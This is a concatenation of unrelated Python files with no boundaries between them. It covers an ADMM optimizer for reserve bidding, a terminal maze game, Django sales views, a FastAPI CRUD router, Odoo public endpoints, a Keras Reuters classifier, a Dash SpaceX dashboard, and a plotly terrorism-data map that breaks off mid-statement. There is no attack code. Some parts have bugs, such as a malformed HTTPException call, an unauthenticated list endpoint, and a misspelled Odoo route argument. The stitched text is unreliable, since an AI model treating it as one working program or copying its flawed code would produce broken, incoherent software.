import multiprocessing
from copy import deepcopy

if True:
    multiprocessing.set_start_method("spawn", True)
import concurrent.futures
from dataclasses import dataclass
from time import time
from typing import Any, Callable, List, Tuple, cast

import numpy as np
from pyomo.environ import Objective, maximize

from src.evaluation import average_opt_results
from src.objective import admm_objective_function
from src.prepare_problem import (
    InstanceInformation,
    OptimizationResult,
    Problem,
    get_variables_and_params,
)
from src.problem import OptimizationInstance, SolverInstance

@dataclass
class Iteration:
    """Dataclass for storing the results of an iteration of ADMM."""

    iteration: int
    cost: List[float]
    total_cost: float
    conv1: float
    conv2: float
    conv3: float
    bar_p_up_reserve: np.ndarray
    bar_alpha: float
    bar_beta: float
    prev_p_up_reserve: np.ndarray
    prev_alpha: np.ndarray
    prev_beta: np.ndarray

    @property
    def distance(self) -> float:
        return self.conv1 + self.conv2 + self.conv3

    @property
    def mean_cost(self) -> float:
        return cast(float, np.mean(self.cost))

    @property
    def std_cost(self) -> float:
        return cast(float, np.std(self.cost))

    def converged(self, tol: float) -> bool:
        return self.distance < tol

def _solve_func(payload: Any) -> Tuple[InstanceInformation, OptimizationResult, float]:
    data, objective, gamma, rho, omega, bar_p_up_reserve, bar_alpha, bar_beta = payload
    generic_solver_instance = SolverInstance()
    inst = generic_solver_instance.model.create_instance(data=data)
    total_objective = objective(inst) + admm_objective_function(
        inst,
        gamma,
        rho,
        omega,
        bar_p_up_reserve,
        bar_alpha,
        bar_beta,
    )
    # total_objective = objective(inst)
    inst.objective = Objective(rule=total_objective, sense=maximize)
    inst.lambda_policy_1.activate()
    inst.one_lambda_constraint_1.deactivate()
    inst.one_lambda_constraint_2.deactivate()
    # inst.alpha.fix(0)
    # inst.beta.fix(0.001)
    # optimal_reserve = [
    #     0.0,
    #     0.77,
    #     0.0,
    #     0.78,
    #     0.8,
    #     0.79,
    #     1.09,
    #     0.0,
    #     0.0,
    #     1.28,
    #     1.28,
    #     1.29,
    #     1.29,
    #     1.26,
    #     1.27,
    #     1.27,
    #     1.27,
    #     1.26,
    #     1.23,
    #     1.17,
    #     1.16,
    #     1.05,
    #     0.86,
    #     0.8,
    # ]
    # for i in range(24):
    #     inst.p_up_reserve[i].fix(max(optimal_reserve[i] - 0.01, 0))
    SolverInstance.run_solver(inst, False)
    return (
        get_variables_and_params(inst),
        Problem.get_result(inst, if_print=False),
        # Problem.get_result(inst, if_print=True),
        inst.objective.expr(),
    )

class ADMM:
    def __init__(
        self,
        generic_solver_instance: SolverInstance,
        instance: OptimizationInstance,
        objective: Callable,
        gamma: float = 1,
        max_iter: int = 20,
        min_iter: int = 3,
        tol: float = 0.1,
    ):
        self.generic_solver_instance = generic_solver_instance
        self.instance = instance
        self.nb_scenarios = instance.nb_scenarios
        self.objective = objective

        self.gamma = gamma
        self.max_iter = max_iter
        self.min_iter = min_iter
        self.tol = tol

        print(
            f"ADMM: scenarios={self.nb_scenarios}, gamma={gamma}, max_iter={max_iter}, tol={tol}"
        )

    def calculate_error(self, a: np.ndarray, b: np.ndarray) -> float:
        # assert a.shape == b.shape
        # return np.sum(np.sqrt((np.mean((a - b) ** 2, axis=0))))
        return np.sum(np.mean(abs(a - b), axis=0))

    def solve_sweep(
        self,
        bar_p_up_reserve: np.ndarray,
        bar_alpha: float,
        bar_beta: float,
        rho: List[np.ndarray],
        prev_p_up_reserve: np.ndarray,
        prev_alpha: np.ndarray,
        prev_beta: np.ndarray,
        iteration_cost: List[float],
        iteration_opt_result: List[OptimizationResult],
    ) -> None:

        start = time()
        # no gamme penalty in the first iteration
        gamma = self.gamma if len(iteration_cost) > 0 else 0
        all_data = []
        for omega in range(self.nb_scenarios):
            all_data.append(
                (
                    SolverInstance.instance_to_dict(self.instance(omega, omega + 1)),
                    self.objective,
                    gamma,
                    rho,
                    omega,
                    bar_p_up_reserve,
                    bar_alpha,
                    bar_beta,
                )
            )

        if self.nb_scenarios >= 20:
            # Solve in parallel if there are many scenarios
            with concurrent.futures.ProcessPoolExecutor() as executor:
                gen = executor.map(_solve_func, all_data)
        else:
            # Solve sequentially if there are few scenarios
            gen = map(_solve_func, all_data)

        # _data = [
        #     SolverInstance.instance_to_dict(self.instance),
        #     self.objective,
        #     0,
        #     rho,
        #     0,
        #     bar_p_up_reserve,
        #     bar_alpha,
        #     bar_beta,
        # ]
        # normal_solve = _solve_func(_data)

        for omega, (instance_info, opt_result, objective_val) in enumerate(gen):
            # Get variable results
            _p_up_reserve = instance_info.p_up_reserve
            _alpha = instance_info.alpha
            _beta = instance_info.beta

            # assert opt_result.total_cost <= opt_result.base_cost_today

            iteration_cost.append(objective_val)
            iteration_opt_result.append(opt_result)

            # Store optimization results for this scenario
            prev_p_up_reserve[omega, :] = _p_up_reserve
            prev_alpha[omega] = _alpha
            prev_beta[omega] = _beta

        print(f"Solving sweep took {time() - start} seconds")

    def run_admm(self) -> List[Iteration]:
        # Initialize and run ADMM
        # NOTE: we assume equal probability for each scenario
        # TODO: make admm work with one lambda_bid as well

        # Specifiy consensus variables for ADMM
        prev_p_up_reserve = np.tile(
            self.instance.p_base * (1 - self.instance.mask), (self.nb_scenarios, 1)
        )
        prev_alpha = np.zeros(self.nb_scenarios)
        prev_beta = np.zeros(self.nb_scenarios)
        shape1 = prev_p_up_reserve.shape
        shape2 = prev_beta.shape

        bar_p_up_reserve = np.mean(prev_p_up_reserve, axis=0)
        assert bar_p_up_reserve.shape[0] == self.instance.n_hours
        bar_alpha = np.mean(prev_alpha)
        bar_beta = np.mean(prev_beta)

        # Initialize rho
        rho = [
            np.zeros(shape=shape1),
            np.zeros(shape=shape2),
            np.zeros(shape=shape2),
        ]

        j = 0
        runs = []
        print("Running ADMM...")
        while True:
            # p_up_reserve = deepcopy(prev_p_up_reserve)
            # alpha = deepcopy(prev_alpha)
            # beta = deepcopy(prev_beta)

            iteration_cost = []  # type:ignore
            iteration_opt_result = []  # type:ignore

            self.solve_sweep(
                bar_p_up_reserve,
                cast(float, bar_alpha),
                cast(float, bar_beta),
                rho,
                prev_p_up_reserve,
                prev_alpha,
                prev_beta,
                iteration_cost,
                iteration_opt_result,
            )

            # Recalculate average values, i.e. consensus variable values
            bar_p_up_reserve = np.mean(prev_p_up_reserve, axis=0)
            bar_alpha = np.mean(prev_alpha)
            bar_beta = np.mean(prev_beta)

            print("ADMM In-sample results:")
            print(
                f"bar_p_up_reserve={bar_p_up_reserve.round(2)}, bar_alpha={bar_alpha}, bar_beta={bar_beta}"
            )
            base_cost = np.mean([r.base_cost_today for r in iteration_opt_result])
            total_cost = np.mean([r.total_cost for r in iteration_opt_result])
            reserve_payment = np.mean([r.reserve_payment for r in iteration_opt_result])
            activation_payment = np.mean([r.act_payment for r in iteration_opt_result])
            penalty = np.mean([r.penalty_cost for r in iteration_opt_result])
            print(
                f"reserve_payment={reserve_payment}, activation_payment={activation_payment}, penalty={penalty}"
            )
            print(f"base_cost={base_cost}\ntotal_cost={total_cost}")

            # Update Lagrangian multipliers
            rho[0] = rho[0] + self.gamma * (prev_p_up_reserve - bar_p_up_reserve)
            rho[1] = rho[1] + self.gamma * (prev_alpha - bar_alpha)
            rho[2] = rho[2] + self.gamma * (prev_beta - bar_beta)

            # TODO: distance and convergence criteria is wrong somehow
            # conv1 = self.calculate_error(prev_p_up_reserve, p_up_reserve)
            # conv2 = self.calculate_error(prev_alpha, alpha)
            # conv3 = self.calculate_error(prev_beta, beta)
            conv1 = self.calculate_error(prev_p_up_reserve, bar_p_up_reserve)
            conv2 = self.calculate_error(prev_alpha, bar_alpha)  # type:ignore
            conv3 = self.calculate_error(prev_beta, bar_beta)  # type:ignore

            # save iteration results
            runs.append(
                Iteration(
                    j,
                    iteration_cost,
                    0,
                    conv1,
                    conv2,
                    conv3,
                    bar_p_up_reserve,
                    bar_alpha,  # type:ignore
                    bar_beta,  # type:ignore
                    deepcopy(prev_p_up_reserve),
                    deepcopy(prev_alpha),
                    deepcopy(prev_beta),
                )
            )
            print("True in-sample results:")
            info, opt_res = self.prepare_in_sample_results(runs[-1], tee=False)
            print(
                f"reserve_payment={opt_res.reserve_payment}, activation_payment={opt_res.act_payment}, penalty={opt_res.penalty_cost}"
            )
            print(f"base_cost={opt_res.base_cost_today}")
            print(f"total_cost={opt_res.total_cost}")

            print(
                f"\n\nIteration {j}: distance={round(runs[-1].distance,3)}, total_cost={round(opt_res.total_cost, 2)}\n\n"
            )
            runs[-1].total_cost = opt_res.total_cost

            if (
                runs[-1].converged(self.tol) or j > self.max_iter
            ) and j > self.min_iter:
                print(f"\n\nADMM has converged after {j} iterations\n\n")
                break

            j += 1

        return runs

    def make_p_up_reserve_feasible(self, last_iter: Iteration) -> np.ndarray:
        # Make p_up_reserve feasible by ensuring it is always less than p_base
        p_up_reserve = last_iter.bar_p_up_reserve
        for i in range(self.instance.n_hours):
            # reservation can't be bigger than baseline power
            p_up_reserve[i] = min(p_up_reserve[i], self.instance.p_base[i])
            p_up_reserve[i] = p_up_reserve[i] * (1 - self.instance.mask[i])
        return p_up_reserve

    def make_lambda_bid_feasible(
        self, instance: OptimizationInstance, last_iter: Iteration
    ) -> float:
        # Make lambda_bid feasible by ensuring it is always non-negative
        # by increasing beta until lambda_bid is non-negative
        alpha = last_iter.bar_alpha
        beta = last_iter.bar_beta

        # our bid policy
        lambda_bid = np.diff(instance.lambda_spot, append=5) * alpha + beta

        if (lambda_bid < 0).any():
            beta += abs(np.min(lambda_bid)) + 1e-4
            # lambda_bid = np.maximum(lambda_bid, 0)
        return beta

    def prepare_in_sample_results(self, last_iter: Iteration, tee: bool = True) -> Any:
        # Get results from last iteration
        # Only used for ADMM where we need to evaluate the in-sample problem
        # using average parameter values.
        # TODO: perhaps parallelize this and move to "evaluation.py"

        # NOTE: we assume equal probability for each scenario
        p_up_reserve = self.make_p_up_reserve_feasible(last_iter)

        # TODO: chunk size > 1 does NOT give same base cost. Something is wrong. Use 1 for now.
        chunk_size = 1
        opt_results = []
        if tee:
            print(f"Preparing in-sample results with chunk size {chunk_size} ...")
        start = time()
        # for omega in range(self.nb_scenarios):
        for i, chunk_instance in enumerate(self.instance.chunk_generator(chunk_size)):
            if tee:
                print(f"   Evaluating chunk {i+1}...")
            chunk_instance.max_lambda_bid = 15
            problem = Problem(self.generic_solver_instance, chunk_instance)
            Problem.customize_constraints(
                problem.model_instance, self.instance.one_lambda
            )
            problem.set_objective(self.objective(problem.model_instance))
            # fix variables
            for i in range(self.instance.n_hours):
                problem.model_instance.p_up_reserve[i].fix(p_up_reserve[i])
            problem.model_instance.alpha.fix(last_iter.bar_alpha)
            beta = self.make_lambda_bid_feasible(chunk_instance, last_iter)
            problem.model_instance.beta.fix(beta)

            opt_result = problem.solve(tee=False)
            opt_results.append(opt_result)
            # inst_info = get_variables_and_params(problem.model_instance)

        avg_opt_result = average_opt_results(opt_results)
        # assert avg_opt_result.total_cost <= avg_opt_result.base_cost_today
        if tee:
            print(f"In-sample results prepared in {time() - start} seconds")

        return (get_variables_and_params(problem.res_instance), avg_opt_result)  # type: ignore


from readchar import readchar
import replit
import time
import numpy as np
import threading

width = 12

with open("level1.txt", "r") as f:
    lines = f.readlines()

num_rows = len(lines)
num_cols = max([len(line.strip()) for line in lines])

lines = [line.strip().ljust(num_cols) for line in lines]

arr = np.full((num_rows, num_cols), ".")

for row in range(num_rows):
    for col in range(num_cols):
        arr[row][col] = lines[row][col]

arr = np.char.replace(arr, ".", " ")

heartstring = ""
def heartcount(hearts):
    heartstring = ""
    for i in range(hearts):
        heartstring += "♥"
    return heartstring

global x
x = 1
global y
y = 1
global playerchar
playerchar = ""
global ox
ox = 0
global oy
oy = 0
global hearts
hearts = 0
global screen
screen = ""
global grid
grid = np.array(arr, dtype=object)
global smgrid
global toggletrap
toggletrap = 0

def t1():
    global x
    global y
    global playerchar
    global ox
    global oy
    global hearts
    global screen
    global grid
    global smgrid
    global toggletrap
    a = True
    heartstring = heartcount(hearts)
    screen = heartstring
    while a == True:
        if grid[y][x] == "♥":
            arr[y][x] = " "
            hearts += 1
            heartstring = heartcount(hearts)
            screen = heartstring
        if grid[y][x] != " " and grid[y][x] != "♥":
            x = ox
            y = oy
            oy = 0
            ox = 0
        else:
            replit.clear()
            grid[y][x] = playerchar

            grid[oy][ox] = arr[oy][ox]
            str = ""
            nx = x - width
            ny = y - width
            px = x + width
            py = y + width
            if nx < 0:
                nx = 0
            if ny < 0:
                ny = 0
            if px > num_cols:
                px = num_cols
            if py > num_cols:
                py = num_cols
            str += "╔" + ("═" * (px-abs(nx))) + "╗"+"\n"
            smgrid = grid[ny:py, nx:px]
            for i in smgrid:
                str += "║"
                str += "".join(i)
                str += "║"
                str += "\n"
            str += "╚" + ("═" * (px-abs(nx))) + "╝"
            str += "\n"
            str += screen
            str += "\n"
            print(str)
        ox = x
        oy = y
        time.sleep(0.05)
def t2():
    global x
    global y
    global playerchar
    global ox
    global oy
    global hearts
    global screen
    global grid
    global smgrid
    global toggletrap
    while True:
        rc = readchar()
        if rc == 'w':
            y-=1
            playerchar = "▲"
        elif rc == 'a':
            x-=1
            playerchar = "◀"
        elif rc == 's':
            y+=1
            playerchar = "▼"
        elif rc == 'd':
            x+=1
            playerchar = "▶"
        elif rc == 'z':
            x-=1
            y+=1
            playerchar = "◣"
        elif rc == 'e':
            x+=1
            y-=1
            playerchar = "◥"
        elif rc == 'q':
            x-=1
            y-=1
            playerchar = "◤"
        elif rc == 'c':
            x+=1
            y+=1
            playerchar = "◢"
        else:
            pass
        time.sleep(0.05)

def t3():
    global x
    global y
    global playerchar
    global ox
    global oy
    global hearts
    global screen
    global grid
    global smgrid
    global toggletrap
    while True:
        # Get the location in the grid variable of all of the "▣" in the smgrid variable
        # find the indices of all "▣" in the smgrid
        indices = np.argwhere(grid == "▣")

        # adjust the indices to the corresponding positions in the grid variable

        # print the valid indices
        for i in indices:
            if toggletrap == 1:
                grid[i[0]][i[1]+1] = "F"
                grid[i[0]][i[1]-1] = "B"
            elif toggletrap == 2:
                grid[i[0]][i[1]-1] = "V"
                grid[i[0]][i[1]+1] = "A"

def t4():
    global toggletrap
    while True:
        time.sleep(0.5)
        toggletrap = 1
        time.sleep(0.5)
        toggletrap = 2

thread1 = threading.Thread(target=t1)
thread2 = threading.Thread(target=t2)
thread3 = threading.Thread(target=t3)
thread4 = threading.Thread(target=t4)
thread1.start()
thread2.start()
thread3.start()
thread4.start()


from django.http.response import JsonResponse
from django.shortcuts import render, redirect
from django.views import generic
from django.urls import reverse_lazy
import datetime
from django.http import HttpResponse

from django.contrib.auth.mixins import LoginRequiredMixin

from django.contrib.auth.decorators import login_required, permission_required
from django.http import HttpResponse
import json
from django.db.models import Sum

from .models import Proveedor, VentasEnc, VentasDet
from vnt.forms import ProveedorForm, VentasEncForm
from inv.models import Producto

class MixingFormInvalid:
        #duplicadp de datos
    def form_invalid(self, form):
        response = super().form_invalid(form)

        if self.request.is_ajax():
            return JsonResponse(form.errors, status=400)
        else:
            return response

class ProveedorView(LoginRequiredMixin, generic.ListView):
    model = Proveedor
    template_name = "vnt/proveedor_list.html"
    context_object_name = "obj"

    login_url = 'bases:login'

class ProveedorNew(LoginRequiredMixin,MixingFormInvalid, generic.CreateView):
    model = Proveedor
    template_name = "vnt/proveedor_form.html"
    context_object_name = "obj"
    form_class = ProveedorForm
    success_url=reverse_lazy("vnt:proveedores_list")
    login_url = 'bases:login'

    def form_valid(self, form):
        form.instance.uc = self.request.user
        return super().form_valid(form)

class ProveedorEdit(LoginRequiredMixin, MixingFormInvalid, generic.UpdateView):
    model=Proveedor
    template_name="vnt/proveedor_form.html"
    context_object_name = "obj"
    form_class= ProveedorForm
    success_url=reverse_lazy("vnt:proveedores_list")
    login_url = 'bases:login'

    def form_valid(self, form):
        form.instance.um = self.request.user.id
        return super().form_valid(form)

def proveedorInactivar(request,id):
    template_name="vnt/inactivar_proveedor.html"
    contexto= {}
    proveedor = Proveedor.objects.filter(pk=id).first()

    if not proveedor:
        return HttpResponse('Proveedor no Existe' + str(id))

    if request.method=='GET':
        contexto = {'obj':proveedor}

    if request.method=='POST':
        proveedor.estado = False
        proveedor.save()
        contexto = {'obj':'OK'}
        return HttpResponse('Proveedor Inactivado')

    return render(request,template_name,contexto)

class VentasView(LoginRequiredMixin, generic.ListView):
    model = VentasEnc
    template_name = "vnt/ventas_list.html"
    context_object_name = "obj"
    form_class= ProveedorForm
    success_url=reverse_lazy("vnt:ventas_list")
    login_url = 'bases:login'

@login_required(login_url="/login/")
@permission_required("vnt.view_ventasenc'",login_url='bases:sin_privilegios')
def ventas(request, venta_id=None):
    template_name = 'vnt/ventas.html'
    producto = Producto.objects.filter(estado = True)
    form_ventas = {}
    contexto = {}

    if request.method=='GET':
        form_ventas= VentasEncForm()
        encabezado = VentasEnc.objects.filter(pk=venta_id).first()

        if encabezado:
            detalle = VentasDet.objects.filter(venta= encabezado)
            fecha_venta = datetime.date.isoformat(encabezado.fecha_venta)
            fecha_factura = datetime.date.isoformat(encabezado.fecha_factura)
            e = {
                'fecha_venta': fecha_venta,
                'proveedor': encabezado.proveedor,
                'observacion': encabezado.observacion,
                'no_factura' : encabezado.no_factura,
                'fecha_factura' : encabezado.fecha_factura,
                'sub_total' : encabezado.sub_total,
                'descuento': encabezado.descuento,
                'total' : encabezado.total
            }

            form_ventas = VentasEncForm(e)
        else:
            detalle =  None
        contexto={'productos': producto, 'encabezado': encabezado, 'detalle': detalle, 'form_encabezado': form_ventas}

        #capturar todo el formulario

    if request.method== 'POST':
        #obtener con request.POST.get
        fecha_venta = request.POST.get("fecha_venta")
        observacion = request.POST.get("observacion")
        no_factura = request.POST.get("no_factura")
        fecha_factura = request.POST.get("fecha_factura")
        proveedor = request.POST.get("proveedor")
        #inicializar variables
        sub_total = 0
        descuento = 0
        total = 0

        #consultar por encabezado si existe

        if not venta_id:
            #guardar proveedor
            proveedor=Proveedor.objects.get(pk=proveedor)
            #inicializar

            encabezado = VentasEnc(
                fecha_venta=fecha_venta,
                observacion=observacion,
                no_factura=no_factura,
                fecha_factura=fecha_factura,
                proveedor=proveedor,
                uc = request.user
            )

            if encabezado:
                encabezado.save()
                venta_id = encabezado.id
        else:
            encabezado = VentasEnc.objects.filter(pk=venta_id).first()
            if encabezado:
                #actualizar
                encabezado.fecha_venta = fecha_venta
                encabezado.observacion = observacion
                encabezado.no_factura = no_factura
                encabezado.fecha_factura = fecha_factura
                #usuario modifica
                encabezado.um = request.user.id
                encabezado.save()
        #si venta id no tiene nada
        if not venta_id:
            return redirect("vnt:ventas_list")

        #capturar datos del producto que se han enviado para el detalle

        producto = request.POST.get("id_id_producto")
        cantidad = request.POST.get("id_cantidad_detalle")
        precio = request.POST.get("id_precio_detalle")
        sub_total_detalle = request.POST.get("id_sub_total_detalle")
        descuento_detalle  = request.POST.get("id_descuento_detalle")
        total_detalle  = request.POST.get("id_total_detalle")

        prod = Producto.objects.get(pk=producto)

        detalle = VentasDet(
            venta = encabezado,
            producto = prod,
            cantidad = cantidad,
            precio_prv = precio,
            descuento = descuento_detalle,
            costo = 0,
            uc = request.user
        )

        if detalle:
            detalle.save()

            sub_total=VentasDet.objects.filter(venta=venta_id).aggregate(Sum('sub_total'))
            descuento = VentasDet.objects.filter(venta = venta_id ).aggregate(Sum('descuento'))

            encabezado.sub_total = sub_total["sub_total__sum"]
            encabezado.descuento = descuento["descuento__sum"]
            encabezado.save()

        return redirect("vnt:ventas_edit", venta_id = venta_id)

    return render(request, template_name, contexto)


from typing import List

from fastapi import APIRouter, HTTPException, Depends
from starlette import status

from models.BNA import BNA
from routers.auth import get_current_token, TokenData

from models.schemas import BNA_Pydantic, BNAIn_Pydantic

router = APIRouter()

# ###################### Define Routes ###################### #

# Get All BNAs
@router.get("/", response_model=List[BNA_Pydantic])
async def get_bna():
    return await BNA_Pydantic.from_queryset(BNA.exclude(role='bus_driver'))

# Get A BNA by ID
@router.get("/{bna_id}", response_model=BNA_Pydantic)
async def get_bna(bna_id: str, current_user=Depends(get_current_token)):
    try:
        bna_obj = await BNA_Pydantic.from_queryset_single(BNA.get(id=bna_id))
    except:
        raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail=f"BusAccount {bna_id} not found")

    return bna_obj

# Create A BNA
@router.post("/",)
async def create_bna(bna: BNAIn_Pydantic, current_user: TokenData =Depends(get_current_token)):
    bna_obj = {"company_id": current_user.company_id, **bna.dict()}

    return await BNA.create(**bna_obj)

# Edit A BNA
@router.put("/{bna_id}", )
async def update_bna(bna_id: str, bna: BNAIn_Pydantic,current_user=Depends(get_current_token)):
    is_updated = await BNA.filter(id=bna_id).update(**bna.dict(exclude_unset=True))

    if not is_updated:
        raise HTTPException(status_code=status.HTTP_304_NOT_MODIFIED,current_user=Depends(get_current_token), detail=f"BusAccount {bna_id} not found")
    return "Updated Successfully"

# Delete A BNA
@router.delete("/{bna_id}",)
async def delete_bna(bna_id: str, current_user=Depends(get_current_token)):
    is_deleted = await BNA.get(id=bna_id).delete()
    if not is_deleted:
        raise HTTPException(status_code=403, detail=f"bna {bna_id} not found")
    return "Deleted Successfully"


from crypt import methods
import json
from odoo import http, models, fields
from odoo.http import request

class Yuksehat(http.Controller):
    @http.route('/yuksehat/getobat', auth='public', method=['GET'])
    def getObat(self, **kw):
        obat = request.env['yuksehat.obat'].search([])
        items = []

        for item in obat:
            items.append({
                'nama_obat': item.name,
                'harga_jual': item.harga_jual,
                'stok': item.stok
            })

        return json.dumps(items)

    @http.route('/yuksehat/getsupplier', auth='public', method=['GET'])
    def getSupplier(self, **kw):
        supplier = request.env['yuksehat.supplier'].search([])
        items = []

        for item in supplier:
            items.append({
                'nama_perusahaan': item.name,
                'alamat': item.alamat,
                'no_telepon': item.no_tlp,
                'obat_id': item.obat_id[0].name
            })

        return json.dumps(items)


"""
多分类问题
2019.11.19
"""

import numpy as np
import matplotlib.pyplot as plt
import time
from keras import layers
from keras import models
from keras import optimizers
from keras import losses
from keras import metrics
from keras.datasets import reuters
from keras.utils.np_utils import to_categorical

(train_data, train_labels), (test_data, test_labels) = reuters.load_data(num_words=10000)
#print(len(train_data), len(train_labels), len(test_data), len(test_labels)) #一共8982个train样本，2246个test样本
#print(train_data[10]) #这些返回类型都是列表！
#print(train_labels[10])

#==================================================================================================================

#进行向量化
#首先是输入数据的向量化，跟之前一样，采用one-hot方法
def vectorize_sequences(sequences, dimension=10000):
    results = np.zeros((len(sequences), dimension))
    for i, sequence in enumerate(sequences): #i是每一行，而sequence对应每一个值,是列表形式！这里的sequences本身就是样本数*1的形式，而这个1是列表的形式！
        results[i, sequence] = 1.
    return results

x_train = vectorize_sequences(train_data)
x_test = vectorize_sequences(test_data)

#然后是标签的向量化！这与3.4不一样，3.4的标签只有0/1，而这里的是多类的one-hot形式，FER就要用这种形式！！！
one_hot_train_labels = to_categorical(train_labels) #转化为8983*46的形式
one_hot_test_labels = to_categorical(test_labels) #转化为2246*46的形式

#print(one_hot_test_labels.shape)
#print(one_hot_test_labels.ndim) #张量为2
#print(one_hot_train_labels.shape)
#print(one_hot_train_labels.ndim) #张量为2

#==================================================================================================================
#下面开始
'''
model = models.Sequential()
model.add(layers.Dense(64, activation='relu', input_shape=(10000, )))
model.add(layers.Dense(64, activation='relu'))
model.add(layers.Dense(46, activation='softmax'))

#==================================================================================================================
#下面开始进行compile
model.compile(optimizer='rmsprop',
              loss='categorical_crossentropy',
              metrics=['accuracy'])

#==================================================================================================================
#利用交叉验证集进行测试
x_val = x_train[:1000]
partial_x_train = x_train[1000:]

y_val = one_hot_train_labels[:1000]
partial_y_train = one_hot_train_labels[1000:]

#==================================================================================================================
#开始训练
tic = time.time()
history = model.fit(partial_x_train,
                    partial_y_train,
                    epochs=20,
                    batch_size=512,
                    verbose = 2,
                    validation_data=(x_val, y_val))
toc = time.time()
print("Time: " + str(1000*(toc - tic)) + "ms")

#==================================================================================================================
#开始画图

loss = history.history['loss']
val_loss = history.history['val_loss']
epochs = range(1, len(loss)+1)
plt.plot(epochs, loss, 'bo', label='Training loss')
plt.plot(epochs, val_loss, 'b', label="Validation loss")
plt.legend()
plt.title("Training and validation loss")
plt.xlabel("Epochs")
plt.ylabel("Loss")
plt.show()

plt.clf()
acc = history.history['accuracy']
val_acc = history.history['val_accuracy']
epochs = range(1, len(acc)+1)
plt.plot(epochs, acc, 'bo', label='Training acc')
plt.plot(epochs, val_acc, 'b', label="Validation acc")
plt.legend()
plt.title("Training and validation accuracy")
plt.xlabel("Epochs")
plt.ylabel("Accuracy")
plt.show()
'''
#==================================================================================================================
#找到合适的epoch，开始重新训练

model = models.Sequential()
model.add(layers.Dense(64, activation='relu', input_shape=(10000,)))
model.add(layers.Dense(64, activation='relu'))
model.add(layers.Dense(46, activation='softmax'))

model.compile(optimizer='rmsprop',
              loss='categorical_crossentropy',
              metrics=['accuracy'])

model.fit(x_train,
          one_hot_train_labels,
          epochs=8,
          batch_size=512)

test_loss, test_acc = model.evaluate(x_test, one_hot_test_labels)
print("test_loss:" , test_loss) #这里用加号和逗号的区别就是冒号后面需不需要加空格！！！
print("test_acc:" , test_acc)

#==================================================================================================================
#在测试集上进行预测

predictions = model.predict(x_test)
print(predictions.shape)
print(type(predictions))
print(predictions.dtype)
print(predictions.ndim)
print(predictions[0].shape)
print(predictions[0][0])
print(predictions)
print(np.sum(predictions[0]))
print(np.argmax(predictions[0]))


# Import required libraries
import pandas as pd
import dash
import dash_html_components as html
import dash_core_components as dcc
from dash.dependencies import Input, Output
import plotly.express as px

# Read the airline data into pandas dataframe
spacex_df = pd.read_csv("spacex_launch_dash.csv")
launch_sites = spacex_df['Launch Site'].unique()
max_payload = spacex_df['Payload Mass (kg)'].max()
min_payload = spacex_df['Payload Mass (kg)'].min()

# Create a dash application
app = dash.Dash(__name__)

# Create an app layout
app.layout = html.Div(children=[html.H1('SpaceX Launch Records Dashboard',
                                        style={'textAlign': 'center', 'color': '#503D36',
                                               'font-size': 40}),
                                dcc.Dropdown(
                                                id='site-dropdown',
                                                options=[{'label': 'All Sites', 'value': 'ALL'}] +
                                                        [{'label': site, 'value': site} for site in launch_sites],
                                                value='ALL',
                                                placeholder="Select a Launch Site here",
                                                searchable=True
                                ),
                                html.Br(),
                                html.P("Payload range (Kg):"),
                                dcc.RangeSlider(id='payload-slider',
                                                min=0,
                                                max=10000,
                                                step=1000,
                                                marks={str(i): str(i) for i in range(0, 10001, 1000)},
                                                value=[min_payload, max_payload]),
                                html.Br(),

                                html.Div(dcc.Graph(id='success-pie-chart')),
                                html.Br(),

                                html.Div(dcc.Graph(id='success-payload-scatter-chart'))

                                ])

# TASK 2
# Add a callback function for `site-dropdown` as input, `success-pie-chart` as output
@app.callback(
    Output(component_id='success-pie-chart', component_property='figure'),
    Input(component_id='site-dropdown', component_property='value')
)
def get_pie_chart(entered_site):
    filtered_df = spacex_df
    if entered_site == 'ALL':
        fig = px.pie(spacex_df, values='class', names='Launch Site', title='Total Success Launches By Site')
    else:
        filtered_df = spacex_df[spacex_df['Launch Site'] == entered_site]
        fig = px.pie(filtered_df, values='class', names='class', title=f'Success Launches for site {entered_site}')
    return fig
# TASK 4:
@app.callback(
    Output(component_id='success-payload-scatter-chart', component_property='figure'),
    [Input(component_id='site-dropdown', component_property='value'),
     Input(component_id='payload-slider', component_property='value')]
)
def update_graph(entered_site, payload_range):
    low, high = payload_range
    filtered_df = spacex_df[(spacex_df['Payload Mass (kg)'] >= low) & (spacex_df['Payload Mass (kg)'] <= high)]

    if entered_site != 'ALL':
        filtered_df = filtered_df[filtered_df['Launch Site'] == entered_site]

    fig = px.scatter(filtered_df, x='Payload Mass (kg)', y='class', color="Booster Version Category")
    return fig

# Run the app
if __name__ == '__main__':
    app.run_server()


import numpy as np
import pandas as pd
from plotly.offline import iplot
import plotly.offline
import plotly.plotly as py
import plotly
from plotly import tools

import plotly.graph_objs as go

##Load the csv file
us_terror_info = pd.read_csv('C:\\Users\\imash\\OneDrive\\Desktop\\gtd\\usTerrorData.csv', encoding='ISO-8859-1', usecols=[0, 1, 2, 3, 8, 11, 13, 14, 35, 84, 100, 103])

#rename the columns
us_terror_info.rename(columns={'eventid':'id','iyear':'year','imonth':'month', 'iday':'day','country_txt':'country', 'provstate':'state', 'targtype1_txt':'target','weapsubtype1_txt':'weapon', 'nkillter':'fatalities', 'nwoundte':'injuries'}, inplace=True)

#datatype conversion
us_terror_info['fatalities'] = us_terror_info['fatalities'].fillna(0).astype(int)
us_terror_info['injuries'] = us_terror_info['injuries'].fillna(0).astype(int)

us_terror_info = us_terror_info[(us_terror_info.country == 'United States') &
                         (us_terror_info.state != 'Puerto Rico') &
                         (us_terror_info.longitude < 0)]
us_terror_info['day'][us_terror_info.day == 0] = 1
us_terror_info['date'] = pd.to_datetime(us_terror_info[['day', 'month', 'year']])
us_terror_info = us_terror_info[['id', 'date', 'year', 'state', 'latitude', 'longitude',
                         'target', 'weapon', 'fatalities', 'injuries']]
us_terror_info = us_terror_info.sort_values(['fatalities', 'injuries'], ascending = False)
us_terror_info = us_terror_info.drop_duplicates(['date', 'latitude', 'longitude', 'fatalities'])

#Terrorist Attacks by Latitude/Longitude in the United States

us_terror_info['text'] = us_terror_info['date'].dt.strftime('%B %-d, %Y') + '<br>' + \
                         us_terror_info['fatalities'].astype(str) + ' Killed, ' + \
                         us_terror_info['injuries'].astype(str) + ' Injured'

fatality = dict(
    type='scattergeo',
    locationmode='USA-states',
    lon=us_terror_info[us_terror_info.fatalities > 0]['longitude'],
    lat=us_terror_info[us_terror_info.fatalities > 0]['latitude'],
    text=us_terror_info[us_terror_info.fatalities > 0]['text'],
    mode='markers',
    name='Fatalities',
    hoverinfo='text+name',
    marker=dict(
        size=us_terror_info[us_terror_info.fatalities > 0]['fatalities'] ** 0.255 * 8,
